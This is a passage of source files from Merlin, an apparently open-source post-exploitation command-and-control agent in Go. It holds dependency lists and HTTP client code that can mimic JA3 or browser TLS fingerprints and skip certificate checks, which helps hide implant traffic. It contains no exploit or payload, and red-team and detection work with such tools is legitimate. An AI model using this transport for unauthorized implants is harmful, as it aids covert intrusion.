go.dedis.ch/kyber/v3 v3.1.0 // indirect
go.uber.org/automaxprocs v1.6.0 // indirect
go.uber.org/mock v0.5.1 // indirect
golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 // indirect
golang.org/x/mod v0.24.0 // indirect
golang.org/x/sync v0.13.0 // indirect
golang.org/x/tools v0.32.0 // indirect
)
================================================
FILE: go.sum
================================================
github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE=
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Ne0nd0g/merlin-message v1.3.0 h1:HelXwN6Gtk80C2ted0+PAprq+zRiQRGLG6s6phyFY5o=
github.com/Ne0nd0g/merlin-message v1.3.0/go.mod h1:6eAh2KI4XrOAF+y4W2DN0qfRVWiAGzYlq148iKe3sSA=
github.com/Ne0nd0g/npipe v1.1.0 h1:oTDJfD8yrr2BLGZpKEllCmeGpcbmx6LW1uuS2bxIBoM=
github.com/Ne0nd0g/npipe v1.1.0/go.mod h1:GKyLKRkYambQuI9VIfMrz1Mf5hOGlEvZkhw1chph/IQ=
github.com/Ne0nd0g/winhttp v1.0.0 h1:udvGuikkm04aW527YBlYT01hLDtGaYrL60Xq2yv3vU8=
github.com/Ne0nd0g/winhttp v1.0.0/go.mod h1:zWg/r3XLzjPGuTBR4p9Ke2u3SlGxVaYNRPtYxmnkr8Q=
github.com/andybalholm/brotli v1.1.1 h1:PR2pgnyFznKEugtsUo0xLdDop5SKXd5Qf5ysW+7XdTA=
github.com/andybalholm/brotli v1.1.1/go.mod h1:05ib4cKhjx3OQYUY22hTVd34Bc8upXjOLL2rKwwZBoA=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
github.com/cloudflare/circl v1.4.0 h1:BV7h5MgrktNzytKmWjpOtdYrf0lkkbF8YMlBGPhJQrY=
github.com/cloudflare/circl v1.4.0/go.mod h1:PDRU+oXvdD7KCtgKxW95M5Z8BpSCJXQORiZFnBQS5QU=
github.com/cretz/gopaque v0.1.0 h1:rC+coO7LzXnstyG7FmwK0XD7oV93tg9EZ+Fl2yZOeto=
github.com/cretz/gopaque v0.1.0/go.mod h1:0npz8L/gL98OX2nWKF8WRSP8ZCAg89UKBBrBVrDXJQg=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=
github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI=
github.com/go-jose/go-jose/v3 v3.0.4 h1:Wp5HA7bLQcKnf6YYao/4kpRpVMp/yf6+pJKV8WFSaNY=
github.com/go-jose/go-jose/v3 v3.0.4/go.mod h1:5b+7YgP7ZICgJDBdfjZaIt+H/9L9T/YQrVfLAMboGkQ=
github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY=
github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8=
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/klauspost/compress v1.17.10 h1:oXAz+Vh0PMUvJczoi+flxpnBEPxoER1IaAnU/NMPtT0=
github.com/klauspost/compress v1.17.10/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/onsi/ginkgo/v2 v2.23.4 h1:ktYTpKJAVZnDT4VjxSbiBenUjmlL/5QkBEocaWXiQus=
github.com/onsi/ginkgo/v2 v2.23.4/go.mod h1:Bt66ApGPBFzHyR+JO10Zbt0Gsp4uWxu5mIOTusL46e8=
github.com/onsi/gomega v1.36.3 h1:hID7cr8t3Wp26+cYnfcjR6HpJ00fdogN6dqZ1t6IylU=
github.com/onsi/gomega v1.36.3/go.mod h1:8D9+Txp43QWKhM24yyOBEdpkzN8FvJyAwecBgsU4KU0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prashantv/gostub v1.1.0 h1:BTyx3RfQjRHnUWaGF9oQos79AlQ5k8WNktv7VGvVH4g=
github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P1IAHhP5U=
github.com/quic-go/qpack v0.5.1 h1:giqksBPnT/HDtZ6VhtFKgoLOWmlyo9Ei6u9PqzIMbhI=
github.com/quic-go/qpack v0.5.1/go.mod h1:+PC4XFrEskIVkcLzpEkbLqq1uCoxPhQuvK5rH1ZgaEg=
github.com/quic-go/quic-go v0.50.1 h1:unsgjFIUqW8a2oopkY7YNONpV1gYND6Nt9hnt1PN94Q=
github.com/quic-go/quic-go v0.50.1/go.mod h1:Vim6OmUvlYdwBhXP9ZVrtGmCMWa3wEqhq3NgYrI8b4E=
github.com/refraction-networking/utls v1.6.7 h1:zVJ7sP1dJx/WtVuITug3qYUq034cDq9B2MR1K67ULZM=
github.com/refraction-networking/utls v1.6.7/go.mod h1:BC3O4vQzye5hqpmDTWUqi4P5DDhzJfkV1tdqtawQIH0=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU=
github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
go.dedis.ch/fixbuf v1.0.3 h1:hGcV9Cd/znUxlusJ64eAlExS+5cJDIyTyEG+otu5wQs=
go.dedis.ch/fixbuf v1.0.3/go.mod h1:yzJMt34Wa5xD37V5RTdmp38cz3QhMagdGoem9anUalw=
go.dedis.ch/kyber/v3 v3.0.4/go.mod h1:OzvaEnPvKlyrWyp3kGXlFdp7ap1VC6RkZDTaPikqhsQ=
go.dedis.ch/kyber/v3 v3.0.9/go.mod h1:rhNjUUg6ahf8HEg5HUvVBYoWY4boAafX8tYxX+PS+qg=
go.dedis.ch/kyber/v3 v3.0.12/go.mod h1:kXy7p3STAurkADD+/aZcsznZGKVHEqbtmdIzvPfrs1U=
go.dedis.ch/kyber/v3 v3.1.0 h1:ghu+kiRgM5JyD9TJ0hTIxTLQlJBR/ehjWvWwYW3XsC0=
go.dedis.ch/kyber/v3 v3.1.0/go.mod h1:kXy7p3STAurkADD+/aZcsznZGKVHEqbtmdIzvPfrs1U=
go.dedis.ch/protobuf v1.0.5/go.mod h1:eIV4wicvi6JK0q/QnfIEGeSFNG0ZeB24kzut5+HaRLo=
go.dedis.ch/protobuf v1.0.7/go.mod h1:pv5ysfkDX/EawiPqcW3ikOxsL5t+BqnV6xHSmE79KI4=
go.dedis.ch/protobuf v1.0.11 h1:FTYVIEzY/bfl37lu3pR4lIj+F9Vp1jE8oh91VmxKgLo=
go.dedis.ch/protobuf v1.0.11/go.mod h1:97QR256dnkimeNdfmURz0wAMNVbd1VmLXhG1CrTYrJ4=
go.uber.org/automaxprocs v1.6.0 h1:O3y2/QNTOdbF+e/dpXNNW7Rx2hZ4sTIPyybbxyNqTUs=
go.uber.org/automaxprocs v1.6.0/go.mod h1:ifeIMSnPZuznNm6jmdzmU3/bfk01Fe2fotchwEFJ8r8=
go.uber.org/mock v0.5.1 h1:ASgazW/qBmR+A32MYFDB6E2POoTgOwT509VP0CT/fjs=
go.uber.org/mock v0.5.1/go.mod h1:ge71pBPLYDk7QIi1LupWxdAykm7KIEFchiOqd6z7qMM=
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
golang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE=
golang.org/x/crypto v0.37.0/go.mod h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc=
golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 h1:R84qjqJb5nVJMxqWYb3np9L5ZsaDtB+a39EqjV0JSUM=
golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0/go.mod h1:S9Xr4PYopiDyqSyp5NjCrhFrqg6A5zA2E/iPHPhqnS8=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU=
golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY=
golang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.13.0 h1:AauUjRAJ9OSnvULf/ARrrVywoJDy0YS2AwQ98I37610=
golang.org/x/sync v0.13.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
golang.org/x/sys v0.0.0-20190124100055-b90733256f2e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20=
golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
golang.org/x/term v0.31.0 h1:erwDkOK1Msy6offm1mOgvspSkslFnIGsFnxOKoufg3o=
golang.org/x/term v0.31.0/go.mod h1:R4BeIy7D95HzImkxGkTW1UQTtP54tio2RyHz7PwK0aw=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.24.0 h1:dd5Bzh4yt5KYA8f9CJHCP4FB4D51c2c6JvN37xJJkJ0=
golang.org/x/text v0.24.0/go.mod h1:L8rBsPeo2pSS+xqN0d5u2ikmjtmoJbDBT1b7nHvFCdU=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.32.0 h1:Q7N1vhpkQv7ybVzLFtTjvQya2ewbwNDZzUgfXGqtMWU=
golang.org/x/tools v0.32.0/go.mod h1:ZxrU41P/wAbZD8EDa6dDCa6XfpkhJ7HFMjHJXfBDu8s=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/protobuf v1.36.5 h1:tPhr+woSbjfYvY6/GPufUoYizxw1cF/yFoxJ2fmpwlM=
google.golang.org/protobuf v1.36.5/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
================================================
FILE: http/http.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package http provides HTTP clients for various HTTP protocols and operating systems
package http
import (
// Standard
"fmt"
"github.com/Ne0nd0g/merlin-agent/v2/http/http3"
"net/http"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/http/http1"
"github.com/Ne0nd0g/merlin-agent/v2/http/http2"
"github.com/Ne0nd0g/merlin-agent/v2/http/proxy"
"github.com/Ne0nd0g/merlin-agent/v2/http/utls"
"github.com/Ne0nd0g/merlin-agent/v2/http/winhttp"
)
// Type is the type of HTTP client to use from the constants in this package (e.g., HTTP, H2C, WINHTTP, etc.)
type Type int
// Supported protocols
const (
// UNDEFINED is the default value when a Type was not set
UNDEFINED Type = iota
// HTTP is HTTP/1.1 Clear-Text protocol
HTTP
// HTTPS is HTTP/1.1 Secure (over SSL/TLS) protocol
HTTPS
// H2C is HTTP/2.0 Clear-Text protocol
H2C
// HTTP2 is HTTP/2.0 Secure (over SSL/TLS)
HTTP2
// HTTP3 is HTTP/2.0 Secure over Quick UDP Internet Connection (QUIC)
HTTP3
// WINHTTP uses the Windows WinHTTP API
WINHTTP
// WININET uses the Windows WinINet API
WININET
// JA3 uses the JA3 fingerprinting library
JA3
// PARROT uses the Parrot HTTP client
PARROT
)
// Config is the configuration for the HTTP client
type Config struct {
ClientType Type
Insecure bool
JA3 string
Parrot string
Protocol string
ProxyURL string
ProxyUser string
ProxyPass string
}
// Client is the interface for the HTTP client designed to mimic the http.Client
type Client interface {
Do(req *http.Request) (*http.Response, error)
}
// NewHTTPClient creates a new HTTP client that implements the Client interface based on the configuration
func NewHTTPClient(config Config) (client Client, err error) {
switch config.ClientType {
case HTTP, HTTPS:
return http1.NewHTTPClient(config.Protocol, config.ProxyURL, config.Insecure)
case HTTP2, H2C:
return http2.NewHTTPClient(config.Protocol, config.Insecure)
case HTTP3:
return http3.NewHTTPClient(config.Insecure)
case WINHTTP:
return winhttp.NewHTTPClient(config.Protocol, config.ProxyURL, config.Insecure)
case JA3:
// Proxy
proxyFunc, errProxy := proxy.GetProxy(config.Protocol, config.ProxyURL)
if errProxy != nil {
return nil, errProxy
}
var transport *utls.Transport
transport, err = utls.NewTransportFromJA3(config.JA3, config.Insecure, proxyFunc)
if err != nil {
return nil, err
}
return &http.Client{Transport: transport}, nil
case PARROT:
// Proxy
proxyFunc, errProxy := proxy.GetProxy(config.Protocol, config.ProxyURL)
if errProxy != nil {
return nil, errProxy
}
var transport *utls.Transport
transport, err = utls.NewTransportFromParrot(config.Parrot, config.Insecure, proxyFunc)
if err != nil {
return nil, err
}
return &http.Client{Transport: transport}, nil
case UNDEFINED:
return nil, fmt.Errorf("http/http.go/NewHTTPClient(): client type was not set")
default:
return nil, fmt.Errorf("http/http.go/NewHTTPClient(): client type '%s:%d' is un handled", config.ClientType, config.ClientType)
}
}
// String converts a protocol type constant to its string representation
func (t Type) String() string {
switch t {
case UNDEFINED:
return "UNDEFINED"
case HTTP:
return "HTTP"
case HTTPS:
return "HTTPS"
case H2C:
return "H2C"
case HTTP2:
return "HTTP2"
case HTTP3:
return "HTTP3"
case WINHTTP:
return "WINHTTP"
case WININET:
return "WININET"
case JA3:
return "JA3"
case PARROT:
return "PARROT"
default:
return "UNDEFINED"
}
}
================================================
FILE: http/http1/http1.go
================================================
//go:build http || http1 || mythic || !(http2 || http3 || winhttp || smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package http1 provides an HTTP/1.1 client using the Go standard library
package http1
import (
// Standard
"crypto/tls"
"fmt"
"net/http"
"strings"
"time"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/http/proxy"
)
// NewHTTPClient returns an HTTP/1.1 client using the Go standard library
func NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) {
cli.Message(cli.DEBUG, "http/http1/http1.go/NewHTTPClient(): Entering into function...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, insecure: %t", protocol, proxyURL, insecure))
// Setup TLS configuration
TLSConfig := &tls.Config{
MinVersion: tls.VersionTLS12,
InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59
CipherSuites: []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
},
}
// Proxy
proxyFunc, errProxy := proxy.GetProxy(protocol, proxyURL)
if errProxy != nil {
return nil, errProxy
}
var transport http.RoundTripper
switch strings.ToLower(protocol) {
case "https":
TLSConfig.NextProtos = []string{"http/1.1"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
transport = &http.Transport{
TLSClientConfig: TLSConfig,
MaxIdleConns: 10,
Proxy: proxyFunc,
IdleConnTimeout: 1 * time.Nanosecond,
}
case "http":
transport = &http.Transport{
MaxIdleConns: 10,
Proxy: proxyFunc,
IdleConnTimeout: 1 * time.Nanosecond,
}
default:
return nil, fmt.Errorf("%s is not a valid client protocol", protocol)
}
return &http.Client{Transport: transport}, nil
}
================================================
FILE: http/http1/http1_exclude.go
================================================
//go:build !http1 && !mythic && (http2 || http3 || winhttp || smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package http1 provides an HTTP/1.1 client using the Go standard library
package http1
import (
"fmt"
"net/http"
)
// NewHTTPClient returns an HTTP/1.1 client using the Go standard library
